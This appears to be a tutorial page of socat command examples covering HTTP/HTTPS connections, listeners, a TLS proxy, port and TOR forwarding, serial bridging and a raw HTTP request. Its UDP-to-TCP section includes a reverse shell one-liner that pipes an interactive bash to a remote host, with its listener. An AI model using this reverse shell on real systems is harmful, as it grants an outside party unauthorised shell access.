Socat - Network Utility for Data Transfer

Explore practical socat examples for network data transfer, including HTTP/HTTPS proxies, port forwarding, reverse shells, and serial bridging. Learn to connect and redirect network streams.

Socat - Network Data Transfer Utility

Socat is a powerful command-line utility that establishes bidirectional data transfers between two data sources. It can be used to connect various types of network sockets, files, pipes, and devices, making it an incredibly versatile tool for network debugging, scripting, and system administration. This page provides practical examples of how to leverage socat for common networking tasks.

Connecting to HTTP/HTTPS Servers

Socat can be used to directly interact with web servers. Here's how to connect to an HTTP server and an HTTPS server.

# socat connect to http-server (port 80 on 'butzel.info')
socat TCP4:butzel.info:80 -

# connect to https-server (port 443 on 'butzel.info' with tls)
socat openssl:butzel.info:443 -

Creating Network Listeners and Proxies

Socat excels at creating listeners and acting as a proxy. These examples demonstrate setting up a TCP listener and a basic HTTP to HTTPS proxy.

# tcp-listener (port 3180), output as hexdump (-x) and fork for new connections
socat -x tcp-listen:3180,fork -

# http to httpS 'Proxy' (for a webserver without TLS-Support)
socat OPENSSL-LISTEN:443,reuseaddr,pf=ip4,fork,cert=server.pem,cafile=client.crt,verify=0 TCP4-CONNECT:127.0.0.1:80

Port Forwarding and TOR Integration

Forwarding network traffic from one port to another, or even tunneling through TOR, is easily achievable with socat.

# port forwarding (e.g., own port 3180 to port 22(ssh) on target)
socat TCP4-LISTEN:3180,reuseaddr,fork TCP4:butzel.info:ssh

# TOR-forwarding (needs tor-daemon on port 9050 running)
socat tcp4-listen:8080,reuseaddr,fork socks4A:127.0.0.1:t0rhidd3ns3rvice.onion:80,socksport=9050

Bridging Network to Serial Devices

Socat can bridge network connections to serial ports, which is useful for embedded systems or hardware interaction.

# network (port 8266) to serial bridge (/dev/ttyUSB0 baudrate: 115200)
socat TCP4-LISTEN:8266,fork,reuseaddr /dev/ttyUSB0,raw,crnl,b115200

UDP to TCP Conversion and Reverse Shells

Socat can convert between UDP and TCP protocols and is famously used for creating reverse shells.

# udp to tcp
socat -u udp-recvfrom:1234,fork tcp:localhost:4321

# reverse shell:
socat exec:'bash -i',pty,stderr tcp:remote.butzel.info:3180

# listener for above reverse shell (on remote.butzel.info):
socat file:`tty`,raw,echo=0 tcp-listen:3180
# or: nc -lp 3180

Practical HTTP Example

A complete, real-world HTTP example demonstrating how to send a GET request and receive a response. The sleep command is crucial here to ensure the socket doesn't close prematurely.

# complete real working http-example:
# (sleep is necessary to prevent socat closing socket before data received)
(echo -e "GET / HTTP/1.1\r\nHost: butzel.info\r\n\r" && sleep 1) \
| socat tcp4:butzel.info:80 -

Socat is an indispensable tool for any system administrator or developer working with network protocols. Its flexibility allows for complex data routing and manipulation directly from the command line.

Further Resources